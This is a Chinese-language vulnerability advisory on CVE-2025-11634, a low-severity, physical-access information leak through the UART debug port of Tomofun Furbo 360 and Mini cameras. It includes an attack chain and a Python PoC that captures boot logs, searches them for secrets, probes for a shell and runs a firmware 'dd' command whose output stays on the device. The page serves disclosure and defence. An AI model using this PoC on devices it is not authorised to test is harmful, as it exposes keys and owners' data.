IPBUF安全漏洞报告
English
CVE-2025-11634 CVSS 2.4 低危

CVE-2025-11634:Tomofun Furbo 360/Mini UART接口信息泄露漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11634
漏洞类型
信息泄露
CVSS评分
2.4 低危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini

相关标签

信息泄露UART接口物理攻击IoT设备智能摄像头TomofunFurbo 360Furbo Mini嵌入式设备调试接口

漏洞概述

CVE-2025-11634是Tomofun公司生产的Furbo 360和Furbo Mini智能宠物摄像头产品中的一个安全漏洞。该漏洞存在于设备的UART(通用异步收发传输器)接口组件中,攻击者可以通过物理接触设备并对UART接口进行操作,实现信息泄露攻击。

根据CVSS 3.1评分体系,该漏洞评分为2.4分,属于低危级别。漏洞的攻击向量为物理攻击(AV:P),攻击者需要能够物理接触到目标设备才能实施攻击。攻击无需任何权限认证(PR:N),也不需要用户交互(UI:N),主要影响系统的机密性(C:L),对完整性和可用性没有影响。

受影响的固件版本包括:Furbo 360固件版本不超过FB0035_FW_036,Furbo Mini固件版本不超过MC0020_FW_074。值得注意的是,该漏洞的发现者曾提前联系Tomofun公司进行负责任的漏洞披露,但供应商未做出任何回应。随后漏洞的利用方法被公开发布,增加了设备被攻击的风险。

UART接口通常用于设备的调试、固件烧录和开发测试,如果产品在出厂时未正确禁用或保护UART接口,攻击者可以通过串口连接获取设备的敏感信息,如固件数据、配置信息、密钥或其他调试输出内容。

技术细节

UART(Universal Asynchronous Receiver/Transmitter)是一种常见的硬件通信接口,广泛用于嵌入式设备中。在IoT设备(如智能摄像头)的开发与生产过程中,UART接口通常保留用于调试、固件更新和故障排查。然而,如果在产品出厂时未正确禁用UART接口或未设置访问控制,攻击者可以通过物理连接获取设备的敏感信息。

该漏洞的技术原理如下:Furbo 360和Furbo Mini设备的UART接口在硬件层面仍然可用,攻击者只需打开设备外壳,找到电路板上的UART调试引脚(通常为TX、RX、GND三个或四个引脚),使用USB转串口适配器(如FTDI、CP2102等)连接到计算机,然后通过串口终端工具(如minicom、PuTTY等)以正确的波特率(通常为115200或9600)访问设备。

通过UART接口,攻击者可以获取以下类型的信息:1)启动日志和调试信息,可能包含系统配置细节;2)固件映像或部分固件内容;3)加密密钥、证书或其他安全凭证;4)设备序列号、MAC地址等唯一标识信息;5)用户数据或隐私信息的残留痕迹。

由于该漏洞需要物理访问才能利用(CVSS向量中AV:P),实际利用场景相对有限,主要威胁来自设备被盗、维修过程中被拆解分析、或在公共场所被恶意人员接触的情况。

攻击链分析

STEP 1
步骤1:物理接触目标设备
攻击者需要物理接触到目标Furbo 360或Furbo Mini设备,打开设备外壳,找到电路板上的UART调试接口引脚。
STEP 2
步骤2:连接调试设备
使用USB转串口适配器(如FTDI、CP2102等)将计算机与设备的UART接口连接,确保TX、RX、GND引脚正确对接。
STEP 3
步骤3:配置串口通信参数
使用串口终端工具(如minicom、PuTTY、screen等)配置正确的波特率(通常为115200)、数据位、停止位和校验位,建立通信连接。
STEP 4
步骤4:捕获启动日志和调试信息
重启设备或触发中断信号,捕获设备启动过程中通过UART输出的日志信息,可能包含敏感的配置数据、密钥或凭证。
STEP 5
步骤5:提取敏感信息
从捕获的数据中提取固件信息、加密密钥、用户数据残留等敏感内容,完成信息泄露攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11634 PoC - UART Interface Information Disclosure # Target: Tomofun Furbo 360 (FB0035_FW_036 and below) # Target: Tomofun Furbo Mini (MC0020_FW_074 and below) import serial import time # Step 1: Connect to UART interface via USB-to-Serial adapter # Hardware: FTDI FT232R, CP2102, or CH340 USB-to-UART bridge # Pinout: Connect TX->RX, RX->TX, GND->GND on device's debug pins def exploit_uart_info_disclosure(port='/dev/ttyUSB0', baudrate=115200): """ Exploit UART interface to extract sensitive information from Furbo 360 / Furbo Mini devices. """ try: # Open serial connection to UART interface ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=5 ) print(f"[*] Connected to UART on {port} at {baudrate} baud") # Step 2: Trigger device reboot or interrupt to capture boot logs # Power cycle the device or send break signal ser.send_break() time.sleep(2) # Step 3: Capture boot logs and debug output print("[*] Capturing boot logs...") boot_logs = "" start_time = time.time() while time.time() - start_time < 30: if ser.in_waiting > 0: data = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') boot_logs += data # Look for sensitive information patterns if any(keyword in data for keyword in ['password', 'key', 'secret', 'token', 'cert']): print(f"[!] Sensitive data found: {data}") # Step 4: Try to access shell or dump firmware print("[*] Attempting to access debug shell...") ser.write(b'\n') time.sleep(1) ser.write(b'help\n') time.sleep(1) response = ser.read(ser.in_waiting).decode('utf-8', errors='ignore') print(f"[*] Shell response: {response}") # Step 5: Dump firmware if shell access is available if '#' in response or '$' in response: print("[*] Shell access obtained, dumping firmware...") ser.write(b'dd if=/dev/mtd0 of=/tmp/firmware_dump.bin\n') time.sleep(10) ser.close() return boot_logs except serial.SerialException as e: print(f"[-] Serial connection error: {e}") return None if __name__ == "__main__": # Usage: python exploit.py --port /dev/ttyUSB0 --baud 115200 import argparse parser = argparse.ArgumentParser(description='CVE-2025-11634 UART Info Disclosure PoC') parser.add_argument('--port', default='/dev/ttyUSB0', help='Serial port') parser.add_argument('--baud', type=int, default=115200, help='Baud rate') args = parser.parse_args() result = exploit_uart_info_disclosure(args.port, args.baud) if result: print(f"[*] Captured {len(result)} bytes of data")

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于Tomofun公司未对漏洞披露做出回应,目前尚无官方修复补丁。建议用户采取以下临时缓解措施:1)将设备放置在安全的环境中,防止未经授权的物理接触;2)使用防拆封标签或密封措施保护设备外壳;3)定期检查设备是否被拆解过的痕迹;4)关注厂商后续可能发布的固件更新;5)对于存放敏感信息的场景,考虑使用替代产品。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表